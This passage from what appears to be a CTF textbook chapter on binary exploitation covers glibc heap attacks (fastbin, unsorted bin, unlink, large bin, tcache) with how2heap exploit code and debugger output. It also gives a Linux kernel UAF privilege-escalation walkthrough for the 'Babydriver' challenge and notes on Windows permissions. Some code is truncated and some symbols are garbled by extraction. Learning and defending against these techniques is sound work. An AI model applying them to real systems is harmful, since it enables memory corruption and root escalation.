464 6 PWN
legitimacy of the removed chunk. The size part of the chunk must be the same as the
size part of the chunk that should be stored in this chain table.
In other words, if the table stores a chunk of size 0x70, so the size of the chunk
retrieved from the table must also be 0x70. The chunk is returned after the size of the
chunk is determined to be legitimate (From the source code, there are many strict
checks in Ptmalloc2, but many of them need to have MALLOC_DEBUG turned on
to take effect. This parameter is off by default, please check the Ptmalloc2 source
code for details.).
Based on the source code analysis above, we can conclude that Ptmalloc2 does
not check the legitimacy of chunks much when dealing with Fast Bin sized chunks.
Therefore, we can exploit the following flaws.
1. Modify the fd pointer
For a chunk that is already in the Fast Bin, we can modify its fd pointer to point to the
target memory, so that the next time a chunk of that size is allocated, it can be
allocated to the target memory. However, when allocating Fast Bin, Ptmalloc2 has a
check on the size of the chunk, which we can bypass by modifying the size of the
target memory.
6.6 Heap 465
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
void main(){
Animal *A = malloc(sizeof(Animal));
Animal *B = malloc(sizeof(Animal));
Animal *C = malloc(sizeof(Animal));
char *target = malloc(0x10);
memcpy(target, "THIS IS SECRET", 0x10);
malloc(0x80);
free(C);
free(B);
// overflow from A
char *payload = "AAAAAAAAAAAAAAAAAAAAAAAA\x21\x00\x00\x00\x00\x00
\x00\x00\x60";
memcpy(A->desc, payload, 0x21);
Animal *D = malloc(sizeof(Animal));
Animal *E = malloc(sizeof(Animal));
write(1, E->desc,0x10);
}
#include <stdio.h>
#include <stdlib.h>
int main() {
fprintf(stderr, "This file demonstrates a simple double-free attack
with fastbins.\n");
First, after three mallocs, the memory distribution on the heap is as follows.
pwndbg> fastbins
fastbins
0x20: 0x602020 —▸ 0x602000 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
pwndbg>
Free A again and this time set a breakpoint on the free function.
pwndbg> b free
Breakpoint 2 at 0x7ffff7a914f0: free. (2 locations)0x50: 0x0
After completing the free operation, you can see that the chunk has been added to the
fastbins single-linked list.
pwndbg> fastbins
fastbins
0x20: 0x602020 —▸ 0x602000 ◂— 0x602020 /* ' `' */
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
pwndbg>
The idx of the fastbin is computed according to the size, and if the size gets larger,
the value of the idx gets larger.
The malloc_state struct is defined as follows, and the size of the fastbinsY array is
fixed. That is, if we rewrite Global Max Fast to allow the heap manager to use Fast
Bin to manage chunks larger than the original chunk, the fastbinsY array will have
an array overflow. The location of arena is in the bss segment of glibc, which means
that we can use the rewriting of Global Max Fast to handle chunks of a specific size,
which in turn allows us to write a heap address at any address after arena.
struct malloc_state {
/* Serialize access.
__libc_lock_define (, mutex);
/* Flags (formerly in max_fast). */
int flags;
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Linked list */
struct malloc_state *next;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on the free
list.
Access to this field is serialized by free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
Although the limitation of only being able to write to heap addresses is relatively
large, if we can control the fd pointer of the Fast Bin, we can achieve arbitrary
address writing.
If the chunk is not in the range of Fast Bin, it will be placed in Unsorted Bin first after
it is freed. If it is not the size of Fast Bin and no suitable chunk is found in Small Bin,
it will be searched from Unsorted Bin. Unsorted Bin is a Double-linked list structure
6.6 Heap 469
that splits back if it finds exactly the right chunk. Unsorted Bin lookup process is not
strictly checked, so we can insert a fake chunk into the Unsorted List to obfuscate the
Ptmalloc2 manager and allocate it to the target memory we want. The following file
from the how2heap project, unsorted_bin_into_stack.c, explains the attack.
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int main() {
intptr_t stack_buffer[4] = {0};
// ------------VULNERABILITY ---------–
fprintf(stderr, "Now emulating a vulnerability that can overwrite the
victim->size and
victim->bk pointer\n");
fprintf(stderr, "Size should be different from the next request size
to return
fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && <
av->system_mem\n");
victim[-1] = 32;
victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to
stack
// ------------------------------------
fprintf(stderr, "Now next malloc will return the region of our fake
chunk: %p\n", &stack_buffer[2]);
fprintf(stderr, "malloc(0x100): %p\n", malloc(0x100));
}
pwndbg> unsortedbin
unsortedbin
all: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
Continue the one-step trial run up to line 30, at which point victime's memory
layout is as follows.
The fd pointer points to the address of main_arena and bk points to the target
stack address. The memory arrangement of the target stack address is as follows.
Its size is 0x110, fd is null, and bk is its own chunk address. We set the breakpoint on
the _int_malloc function.
pwndbg> b _int_malloc
Skip the extraneous code and look directly at the code that handles the Unsorted Bin
section.
for (;; ) {
int iters = 0;
// Process the loop of unsorted bin, first get the first chunk in the chain
table.
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) {
bck = victim->bk; // bck is the second chunk
// Determine if victim is legal or not.
if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize_nomask (victim) > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
size = chunksize (victim);
/* If a small request, try to use last remainder if it is the only
chunk in
unsorted bin. This helps promote locality for runs of consecutive
small
requests. This is the only exception to best-fit, and applies only
when
there is no exact fit for a small chunk. */
if (in_smallbin_range (nb) && bck == unsorted_chunks (av) && victim ==
av->last_remainder && (unsigned long) (size) > (unsigned long)
(nb + MINSIZE)) {
6.6 Heap 471
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
First, get the first chunk in the unsoted bin list; the victim we get here is the one we
started with free.
According to “bck ¼ victim->bk”, we know that bck is the target stack address,
which can be seen in GDB.
Continuing on.
Since victim is not last_remainder and size is not satisfied, it does not enter this
branch.
Scrolling down, the following can be observed.
The heap manager writes a main_arena address to the memory pointed to by the
bk pointer to victim when it takes out victim. The state of the target stack memory at
this point is.
6.6 Heap 473
If the requested memory exactly matches the size of victim, that is, if (size ¼¼
nb) is met, the chunk is returned and the memory request is finished. This process is
the Unsorted Bin Attack, which modifies the bk address of the Unsorted Bin by
writing the address of the main arena to the up 0x10 offset of the target memory.
(Since the write operation is bck->fd ¼ unsorted_chunks(av), i.e. *(bk+0x10) ¼
unsorted_chunks(av), it is an offset of size 0x10.)
If this condition is not met, the following procedure is performed. In the latter
operation, the heap manager stores the bin in Unsorted Bin into Small Bin and Large
Bin according to its size. The logic for handling Small Bin is relatively simple.
Get the corresponding size of the Bin chain and then insert it into its head.
The processing of Large Bin is complex, and we will explain its logic in more
detail later on.
At this point, victim's chunk has been placed in smallbins.
pwndbg> smallbins
smallbins
0x20: 0x602000 —▸ 0x7ffff7dd1b88 (main_arena+104) ◂ 0x602000
At the end of the first loop, go back to the beginning of the loop, and at this point
get victim as the target stack address and bck as the address pointed to by victim’s bk
pointer. Note that bck must be a legal address because when a new victim is removed
from the Unsorted Bin List, the main_arena address is written to the address pointed
to by bck. If bck points to memory that is not legal, it will cause the address to be
written illegally causing the program to terminate and exit.
if (size == nb)
474 6 PWN
Here the size of victim is the same as the size we requested, so setting the chunk
information directly returns the memory pointed to by victim, which is the target
stack address.
if (size == nb) {
set_inuse_bit_at_offset (victim, size);
if (av ! = &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
When a Bin is deleted from the Bin List, the unlink operation is triggered. The logic
of the unlink operation in Glibc is not complicated, but there are many operations
can trigger it in Glibc. For example, when Glibc encountering adjacent free memory
for merging, or finding suitable chunk and remove it from the double-linked list, etc.
The source code of Unlink in Glibc is as follows.
else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}
Unlink is a basic operation when dealing with double-linked list, and there is a
strict check that checks the integrity of the double-linked list. However, we can still
bypass the check by using pointer obfuscation and finally implement arbitrary
address write to exploit the vulnerability. The following code is a sample from the
how2heap project on Unlink will explain how to use Unlink to implement arbitrary
memory write.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
uint64_t *chunk0_ptr;
int main() {
fprintf(stderr, "Welcome to unsafe unlink 2.0!\n");
fprintf(stderr, "Tested in Ubuntu 14.04/16.04 64bit.\n");
fprintf(stderr, "This technique can be used when you have a pointer at a
known location
to a region you can call unlink on.\n");
fprintf(stderr, "The most common scenario is a vulnerable buffer that
can be overflown
and has a global pointer.\n");
victim string.\n");
fprintf(stderr, "Original value: %s\n", victim_string);
chunk0_ptr[0] = 0x41414142424242LL;
fprintf(stderr, "New Value: %s\n", victim_string);
}
Debug this sample with GDB and set the breakpoint on line 46.
pwndbg> b 46
Note: breakpoint 2 also set at pc 0x4009b9.
Breakpoint 1 at 0x4009b9: file glibc_2.25/unsafe_unlink.c, line 46.
The 0x603090 is a chunk to be released, and its header information shows that the
previous chunk was in a freed state with size 0x80.
4001 if (!prev_inuse(p)) {
4002 prevsize = p->prev_size;
4003 size += prevsize;
4004 p = chunk_at_offset(p, -((long) prevsize));
4005 unlink(av, p, bck, fwd);
4006 }
When the chunk 0x603090 is freed, ptmalloc will check that the prev_inuse bit of
the chunk is 0, then unlink the previous chunk from the list and merge it into one
chunk. p points to the chunk at 0x603010, which is &chunk0_ptr, so p’s fd points to
0x602058(&chunk0_ptr-(sizeof(uint64_t)*3).
478 6 PWN
bk points to 0x602060(&chunk0_ptr-(sizeof(uint64_t)*2)).
When memory is set up according to this layout, the first check of unlink is
bypassed.
FD->bk ! = P || BK->fd ! = P
FD->bk = BK;
BK->fd = FD;
*(0x602058+0x18) = 0x602060
*(0x602060+0x10) = 0x602058
Looking at the chunk0_ptr’s information at this point, you can see that its value is
rewritten to 0x602058, which is the 0x18 offset of the address where the chunk0_ptr
is stored.
__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0)
__builtin_expect(P->bk_nextsize->fd_nextsize != P, 0)
6.6 Heap 479
Then continue with the following operation. Observe the code for malloc_printerr.
static void malloc_printerr (int action, const char *str, void *ptr,
mstate ar_ptr) {
/* Avoid using this arena in future. We do not attempt to synchronize
this with
anything else because we minimally want to ensure that __libc_message
gets its
resources safely without stumbling on the current corruption. */
if (ar_ptr)
set_arena_corrupt (ar_ptr);
if ((action & 5) == 5)
__libc_message (action & 2, "%s\n", str);
else if (action & 1) {
char buf[2 * sizeof (uintptr_t) + 1];
As long as action&2 ! ¼ 1, the process will not kill by abort. And if ((action & 5)
¼¼ 5) is satisfied, then malloc_printerr will print an error message to get the address
information and the program will be terminated due to abort.
The unlink operation of the large bin can be used to get a chance to write to an
arbitrary address without terminating the program with malloc_printerr. You can
experiment with the source yourselves.
480 6 PWN
When processing Large Bin, the heap manager uses fd_nextsize and bk_nextsize to
sort the list by the size of each Large Bin. We can bypass the legality check and write
heap addresses to any address when the ptmalloc processing the list. Again, the
following describes how to exploit it by using the large_bin_attack of the how2heap
project.
#include<stdio.h>
#include<stdlib.h>
int main() {
fprintf(stderr, "This file demonstrates large bin attack by writing a
large unsigned
long value into stack\n");
fprintf(stderr, "In practice, large bin attack is generally prepared
for further attacks,
such as rewriting the global variable global_max_fast in libc for
further fastbin attack\n\n");
free(p1);
free(p2);
fprintf(stderr, "We free the first and second large chunks now and they
will be inserted
in the unsorted bin: [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)
(p2[0]));
malloc(0x90);
fprintf(stderr, "Now, we allocate a chunk with a size smaller than the
freed first
large chunk. This will move the freed second large chunk into the
large bin
freelist, use parts of the freed first large chunk for allocation,
and reinsert
the remaining of the freed first large chunk into the unsorted bin: [
%p ]\n\n",
(void *)((char *)p1 + 0x90));
free(p3);
fprintf(stderr, "Now, we free the third large chunk and it will be
inserted in the
unsorted bin: [ %p <--> %p ] \n\n\n", (void *)(p3 - 2), (void *)(p3[0]));
// ------------VULNERABILITY ---------–
p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);
482 6 PWN
// ------------------------------------
malloc(0x90);
return 0;
}
Debug this program using GDB and set the breakpoint on line 81. At this point
the program’s heap layout is as follows.
unsortedbin
all: 0x6037a0 —▸ 0x6030a0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x6037a0
largebins
0x400: 0x603360 —▸ 0x7ffff7dd1f68 (main_arena+1096) ◂— 0x603360 /*
'`3`' */
At this point there are two Unsorted Bin and one Large Bin. Large Bin is
generated by placing a Large Bin sized Bin from the Unsorted Bin into the Large
Bin list at line 74 malloc(90). The sinformation of this Large Bin is as follows.
Since there is currently only one Large Bin, both fd_nextsize and bk_nextsize
point to itself.
The following code modified the structure information of the Large Bin.
p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);
6.6 Heap 483
Now we set a breakpoint at the _int_malloc function and then enter the function.
Since the requested memory size is 0x90, the two chunks in Unsorted Bin are 0x410
and 0x290. Therefore, the two chunks in Unsorted Bin will be put into the lists with
their respective sizes. 0x290 will be put into Small Bin and 0x410 will be put into
Large Bin.
Here is the logic for handling Large Bin.
if (in_smallbin_range (size)) {
...
}
else { // Enter this branch.
// Get the list of this size.
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
// maintain large bins in sorted order
// The list is not empty, since a large bin of size 0x410 has been freed
previously.
if (fwd ! = bck) {
// Or with inuse bit to speed comparisons
size |= PREV_INUSE;
// if smaller than smallest, bypass loop below
assert (chunk_main_arena (bck->bk));
// 0x410 > 0x3f0 so the condition is not satisfied.
if ((unsigned long) (size) < (unsigned long) chunksize_nomask
(bck->bk)) {
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize =
victim;
}
else {
assert(chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd)) {
fwd = fwd->fd_nextsize;
assert(chunk_main_arena (fwd));
}
if ((unsigned long) size == (unsigned long) chunksize_nomask
(fwd))
fwd = fwd->fd; // Always insert in the second position
else { // Enter this conditional branch.
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
484 6 PWN
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk; // bck is another address to be written to.
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}
The heap manager inserts the new Large Bin into the double-linked list according
to the constructed memory structure information.
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
where fwd is a modified Large Bin with the following structural information.
victim->bk_nextsize->fd_nextsize = victim;
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
Ptmalloc2 introduces the tcache mechanism in Glibc 2.26, which greatly improves
heap manager performance, but also introduces more security risks. Tcache is single-
linked list structure that uses the tcache_put and tcache_get functions to remove and
insert from the list.
6.6 Heap 485
static void
tcache_put (mchunkptr chunk, size_t tc_idx) {
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
// Caller must ensure that we know tc_idx is valid and there's available
chunks to remove
static void *tcache_get (size_t tc_idx) {
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void *) e;
}
Different sized chunks use different lists, each with a cache size of 7. If the size of
the tcache list is longer than 7, it is handled in the same way as the previous version
of ptmalloc. So once the tcache cache is filled up, you can take advantage of the
shortcomings of the previous version.
The structure of tcache is similar to fastbin, but without fastbin's double free
checks or fastbin's checks on chunk size, making it simpler to exploit.
In Glibc 2.29, the key variable is added to the tcache struct, the key is cleared in
tcache_get, and the key variable is set in tcache_put.
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
// Caller must ensure that we know tc_idx is valid and there's available
chunks to remove
static __always_inline void *tcache_get (size_t tc_idx) {
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->counts[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}
This key can be used to prevent direct Double Free, but it is not a random number,
it is the address of the tcache.
The key is used to mark chunks that are already freed to prevente Double Free,
but this mitigation can be easily bypassed by filling the tcache first and then using the
fastbin to bypass this check.
6.7 Linux Kernel PWN 487
This section is designed to help readers who want to learn Linux kernel PWN but
don’t know how to get started to enter the world of the Linux kernel. The ultimate
goal of an ordinary userspace binary PWN is to execute arbitrary code on the target
machine, while the ultimate goal of a kernel PWN is to exploit a vulnerability to
execute arbitrary privileged code in the kernel. However, there are some common-
alities between them, such as the process is reverse ! find vulnerabilities ! exploit
vulnerabilities. These three processes create their thresholds. For example, for an
ordinary binary PWN, you can reverse C code as long as you know C, assembly.
Reverse C++ programs require the ability to use the C++ programming language,
and the same goes for other languages. The exploitation of vulnerabilities requires
innovative thinking, which is the most critical aspect of binary security. In recent
CTF competitions, there are only a few types of vulnerabilities in binary PWN
challenges, but there may be different ways to exploit the same vulnerability in
different challenges, and almost every year, there are several new types of exploits
(similar to math exams). The difference between kernel-space PWNs and user-space
PWNs lies in reverse and exploitability, and the types of vulnerabilities are not much
different from those of ordinary binary PWNs. Although the Linux kernel is written
in C, reversing kernel drivers also requires knowledge of the Linux kernel and driver.
This section assumes that the reader has some basic knowledge of the Linux
kernel and driver. Since the kernel PWN exploitations are too large and complex, the
author cannot guarantee that they are exhaustive, so they are not the focus of this
section.
The following is a simple example that details the process of solving a PWN in the
Linux kernel. The challenge is “Babydriver” (the link to the challenge can be found
online) from the 2017 CISCN. Section 6.7.9 also provides the source code of the
challenge by reverse-engineering it so that the reader can modify and compile it. The
files provided in the challenge include:
• bzImage – Linux kernel image files.
• boot.sh – Qemu boot script.
• rootfs.cpio – gzip-compressed file system.
On an operating system with Qemu installed and KVM support, execute boot.sh to
start the challenge environment.
488 6 PWN
How do I transfer files? After writing Exploit, how do I transfer it to the server? How
do I get files from the server? The easiest way is to transfer it over a network, but in
this case, there is no network by default. So you need to add the following network
parameters when you start Qemu.
If there is still no network connection after startup, it is because the kernel does not
compile drivers for that type of network card. You can change the device type to
enable the network.
See which network cards Qemu supports for emulation.
The kernel for this challenge uses a network card called virtio-net-pci, which needs
to be started with the command “ifconfig eth0 up”, but since the system does not
automatically use DHCP to get an IP, you need to configure the IP manually. File
transfers can only be made over an external IP in user mode, so it is recommended to
use the following bridge mode.
In an Ubuntu environment, the virtual network card can be installed with the
command “apt install libvirt-bin bridge-utils virt-manager”, where virbr0 is the
name of the virtual network card in the environment.
What other methods of file transfer are there besides the Internet? It is also possible
to repackage the file system. In this case, cpio is the file system and is compressed
using the gzip compression format, which can be unpacked with the following
command.
The resulting file is then extracted to the path directory using the cpio command.
Then you can get all the files in that challenge in the path directory, and you can also
put Exploit in that directory and run the following command:
to repackaging and compression. This allows you to transfer files with the challenge
environment by modifying the file system.
In the file system, the init file in the root directory is typically the system’s startup
script. Example.
#!/bin/sh
insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -d 0 -f
GDB can also be used as a Linux kernel debugger, just like a regular PWN. Adding
the “-s” parameter to the end of the Qemu boot parameter starts a gdbserver that
listens on the local port 1234 for the kernel debugger to debug. Alternatively,
vmLinux (kernel binary) files can be obtained from bzImage for GDB debugging.
Debug symbols are usually removed from CTF kernel PWNs, and this challenge
is no exception. For this kind of driver challenge, you can do the reverse, debugging
with the symbols by thinking differently. As long as the kernel version is not too low,
you can usually download an identical version of the Ubuntu kernel. From http://
ddebs.ubuntu.com/ getting the corresponding version of vmLinux with debug sym-
bols and replacing the bzImage of the challenge, you can use the kernel with symbols
to reverse and debug more easily.
In addition, in the new version of the kernel, the actual address may deviate from
the address in the kernel ELF, which may cause the GDB to fail to recognize
symbols, which can be avoided by modifying Qemu’s startup parameters by adding
“nokaslr”. The full startup parameters are.
This way, when the kernel starts, the actual address matches the address in binary.
But for kernels that don’t have access to symbols, how do we set breakpoints?
The symbolic address can be obtained from “/proc/kallsyms” after kernel startup.
After the previous preparations, let’s get down to business. Many people think that
attacking the kernel is difficult, and may find it difficult to analyze the kernel binary.
Normally, because of the limited time available for the game, it is almost impossible
to completely reverse the entire kernel, so the main task is to find the driver-type
6.7 Linux Kernel PWN 491
Every time the “open(/dev/babydev)” statement is executed at the user level, the
kernel-state babyopen function is called. Each call to this function assigns a value to
the same babydev_struct variable. However, if the device is opened twice and then
one of the file pointers is released, but the babydev_struct.buf pointer in the other file
pointer is not set to zero and the pointer is still available, a UAF vulnerability is
triggered.
The pseudo-code that triggers this vulnerability is.
f1 = open("/dev/babydev", 2)
f2 = open("/dev/babydev", 2)
close(f1);
In a user-state binary PWN, the ultimate goal is to start the shell by executing system
or execve, but in a kernel PWN, the ultimate goal is to escalate privilege. This
requires some understanding of the Linux kernel’s mechanisms. Older versions of
the Linux kernel had a thread_info structure.
struct thread_info {
struct task_struct *task; /* main task structure */
__u32 flags; /* low level flags */
__u32 status; /* thread synchronous flags */
__u32 cpu; /* current CPU */
mm_segment_t addr_limit;
unsigned int sig_on_uaccess_error:1;
unsigned int uaccess_err:1; /* uaccess failed */
};
492 6 PWN
struct task_struct {
...
/* objective and real subjective task credentials (COW) */
const struct cred __rcu *real_cred;
/* effective (overridable) subjective task credentials (COW) */
const struct cred __rcu *cred;
...
}
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; // real UID of the task
kgid_t gid; // real GID of the task
kuid_t suid; // saved UID of the task
kgid_t sgid; // saved GID of the task
kuid_t euid; // effective UID of the task
kgid_t egid; // effective GID of the task
kuid_t fsuid; // UID for VFS ops
kgid_t fsgid; // GID for VFS ops
unsigned securebits; // SUID-less security management
kernel_cap_t cap_inheritable; // caps our children can inherit
kernel_cap_t cap_permitted; // caps we're permitted
kernel_cap_t cap_effective; // caps we can actually use
kernel_cap_t cap_bset; // capability bounding set
kernel_cap_t cap_ambient; // Ambient capability set
#ifdef CONFIG_KEYS
unsigned char jit_keyring; // default keyring to attach requested
keys to
struct key __rcu *session_keyring; // keyring inherited over fork
struct key *process_keyring; // keyring private to this process
struct key *thread_keyring; // keyring private to this thread
struct key *request_key_auth; // assumed request_key authority
#endif
#ifdef CONFIG_SECURITY
void *security; // subjective LSM security
#endif
struct user_struct *user; // real user ID subscription
struct user_namespace *user_ns; // user_ns the caps and keyrings
are relative to
struct group_info *group_info; // supplementary groups for euid/
fsgid
struct rcu_head rcu; // RCU deletion hook
};
6.7 Linux Kernel PWN 493
#ifdef CONFIG_KASAN
#define KASAN_STACK_ORDER 1
#else
#define KASAN_STACK_ORDER 0
#endif
#define PAGE_SHIFT 12
#define PAGE_SIZE (_AC(1, UL) << PAGE_SHIFT)
// x86_64
#define THREAD_SIZE (PAGE_SIZE << THREAD_SIZE_ORDER)
So in older kernel versions, after a process enters the kernel state, at the current
top-of-stack address offset of 0x4000 or 0x8000 (as determined by the configuration
at kernel compilation), you can get the thread_info address, which gives you the
address of the task_struct, and then the cred address, which holds the permission
information for the current process. The reader can use GDB debugging to follow the
above process and track down the address of the cred structure to see if the
permission information in it matches that of the current process. In the new version
of the kernel, however, the structure has changed, and a global link table stores the
task_struct information. The kernel first gets the address of the current process’s
task_struct and then stores the addresses of the thread_info and cred in the structure,
but the fact that the cred structures are stored in the task_struct does not change this.
The cred structure stores permission information about the current process, so in
the kernel PWN, the ultimate goal is to modify the cred constructs. So, how do you
exploit the vulnerability in this challenge to modify the cred of the current process?
There is an easy way to do this, because the size of the cred structure is 0xa8, and
when a new process is created, the kernel requests a heap of 0xa8 to store the cred
structure. So the idea is as follows: request a heap chunk of 0xa8 bytes (babyioctl can
do this), assign it to babydev_struct.buf, release it, and then create a new process, so
that the released chunk of 0xa8 size will be allocated to the new process’s cred
structure; because of the UAF vulnerability, the content of the cred structure is
controllable. Just change the privilege-controlling field to 0 (root’s UID), so that the
new process created can get root privileges and achieve the purpose of privilege
escalation. The pseudo-code is as follows.
494 6 PWN
pid = fork();
if pid == 0:
write(fd2, 0*24, 24);
system("/bin/sh");
The above exploit is only applicable to lower versions of the kernel like the one in
this challenge, as newer versions of the kernel have been patched for this. In the
kernel, heap allocation relies on the kmem_cache construct. kmalloc finds the
appropriate kmem_cache structure in kmalloc_caches by its size. In contrast, cred
has a dedicated kmem_cache structure global variable, cred_jar, which is initialized
at kernel startup.
In older versions, the Flag that initialized cred_jar was the same as that initialized
by kmalloc_caches, which resulted in “cred_jar ¼¼ kmalloc_caches[2]”, so the
driver called kmalloc to allocate a heap chunk of size 0xa8 and then free it, this
heap chunk would be reallocated to the cred structure since their kmem_cache is the
same. In the new version, the flag created by cred_jar is not the same as the one
created by kmalloc_caches[2], and the method used in this challenge cannot be used
in the new version of the kernel. Readers who want to know more about the details
can study the Linux kernel source code themselves and compare the old and new
versions.
As the saying goes, the beginning of everything is difficult, as long as one foot in the
door of the Linux kernel, from start to finish to understand the entire attack process
of the kernel challenge, the next thing to do is to accumulate knowledge, to learn the
various ways to exploit the Linux kernel. The kernel has many protection mecha-
nisms, and there are different ways to exploit it depending on the environment. The
CTF PWN vulnerability exploitations include: based on previous encounters with
similar challenges, based on experience, and innovative exploitations based on basic
knowledge and personal “agility”.
6.7 Linux Kernel PWN 495
The first one can be imagined as a question sea tactic, doing a lot of kernel PWN
challenges that appeared in previous CTFs. If you can’t think of a way to exploit the
kernel, you can refer to other people’s writeups and then summarize the challenge.
The second kind requires solid basic skills and a certain understanding of the Linux
kernel source code. What you need first is using a search engine to solve the
challenge. If you can’t solve the challenge, then read the source code. Then combine
your long thinking and experience to come up with a new way to exploit it. This
approach is more like the actual kernel vulnerability mining idea.
MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("xxxx");
struct babydevice_t {
char *buf;
long len;
};
int result;
if (!babydev_struct.buf)
return -1;
result = -2;
if (babydev_struct.len > count) {
raw_copy_from_user(babydev_struct.buf, buf, count);
result = count;
}
return result;
}
static long babyioctl(struct file* filp , unsigned int cmd , unsigned long
arg) {
int result;
if (cmd == 65537) {
kfree(babydev_struct.buf);
babydev_struct.buf = kmalloc(arg, GFP_KERNEL);
babydev_struct.len = arg;
printk("alloc done\n");
result = 0;
}
else {
printk(KERN_ERR "default:arg is %ld\n", arg);
result = -22;
}
return result;
}
int babydriver_init(void) {
int result, err;
struct device *i;
void babydriver_exit(void) {
device_destroy(buttons_cls, babydevn);
class_destroy(buttons_cls);
cdev_del(&babycdev);
unregister_chrdev_region(babydevn, 1);
}
module_init(babydriver_init);
module_exit(babydriver_exit);
Compared with Linux, Windows is larger and more complex and contains more
components in the default configuration. Due to the vast majority of closed-source
components, complex permission management, and different kernel
implementations, PWN challenges in the Windows environment rarely appear in
498 6 PWN
CTF, but as the overall strength of CTF teams is increasing, PWN challenges in
Windows are gradually gaining attention. In this section, we will focus on the
differences between Linux and Windows, and introduce the PWN techniques for
Windows.
The default permission management for Windows is more complex than for Linux.
Traditional Linux permissions management is based on the owner, group, and access
mask. Usually, the user only needs three commands, chown, chgrp, and chmod, to
make all the changes to the permissions of a file under Linux. Under Windows, the
identification of each user is called a SID, and the management of the permissions to
objects (files, devices, memory areas, etc.) is controlled by the Security Descriptor
(SD). The Security Descriptor contains the SID of the owner, the group, the
Discretionary ACL, and the System ACL. the ACL (Access Control List) is the
list used to control access permissions to objects and contains multiple ACEs
(Access Control Entry). Each ACE describes a user’s permissions for the current
object.
In Windows, users can modify an object's ACL with the icacls command. icacls
uses Microsoft’s SDDL (Security Descriptor Definition Language) to detail the
information contained in a security descriptor.
View file permissions via icacls.
C:\Users\bitma>icacls test.txt
test.txt NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
DESKTOP-JQF8ABP\bitma:(F)
Successfully processed 1 file; failed when processing 0 files
As you can see, the three SIDs SYSTEM, Administrators, and bitma have full
access to test.txt. Now try to remove bitma’s access to test.txt.
C:\Users\bitma>icacls test.txt
test.txt NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
1 file successfully processed; failed when processing 0 files
6.8 PWN for Windows 499
Note that when modifying a file’s ACL, if the modified ACE item is inherited, the
inheritance attribute should be disabled. ACL inheritance is a special mechanism in
Windows, if a file has enabled the ACL inheritance, its ACL will inherit the ACE in
its parent object (the directory of text.txt in this example)’s ACL.
32-bit Windows typically uses the __stdcall calling convention, where parameters
